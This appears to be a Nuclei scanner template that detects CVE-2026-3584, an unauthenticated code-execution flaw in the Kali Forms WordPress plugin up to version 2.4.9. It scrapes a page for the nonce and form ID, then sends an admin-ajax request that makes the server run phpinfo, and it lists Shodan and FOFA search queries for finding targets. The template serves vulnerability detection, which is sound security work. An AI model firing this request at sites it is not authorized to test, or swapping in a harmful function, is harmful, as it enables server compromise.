WordPress Kali Forms <= 2.4.9 - Remote Code Execution

id: CVE-2026-3584

info:
  name: WordPress Kali Forms <= 2.4.9 - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    Kali Forms WordPress plugin <= 2.4.9 contains a remote code execution caused by unsafe user input handling in 'form_process' and 'prepare_post_data' functions, letting unauthenticated attackers execute code on the server, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to the latest version beyond 2.4.9.
  reference:
    - https://wordpress.org/plugins/kali-forms/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3584
    epss-score: 0.27906
    epss-percentile: 0.96533
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 6
    product: kali-forms
    framework: wordpress
    fofa-query: body="kali-forms"
    shodan-query: http.component:"WordPress" http.html:"kali-forms"
  tags: cve,cve2026,wordpress,wp-plugin,kali-forms,rce,unauth,vkev

flow: |
  var paths = ["/contact-us/", "/contact/", "/form/", "/feedback/", "/"];
  for (var i = 0; i < paths.length; i++) {
    set("form_path", paths[i]);
    if (http(1)) {
      http(2);
      break;
    }
  }

http:
  - raw:
      - |
        GET {{form_path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "KaliFormsObject")'
          - 'contains(body, "ajax_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'ajax_nonce":"([a-f0-9]+)"'
        internal: true

      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - 'data-form-id="(\d+)"'
        internal: true

      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'kali-forms/[^"]*(?:js|css)\?ver=([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=kaliforms_form_process&data[nonce]={{nonce}}&data[formId]={{form_id}}&data[first-name]=test&data[last-name]=user&data[email]=test%40example.com&data[message]=test&data[thisPermalink]=phpinfo

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()</title>"
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: php_version
        part: body
        group: 1
        regex:
          - 'PHP Version ([0-9.]+)'
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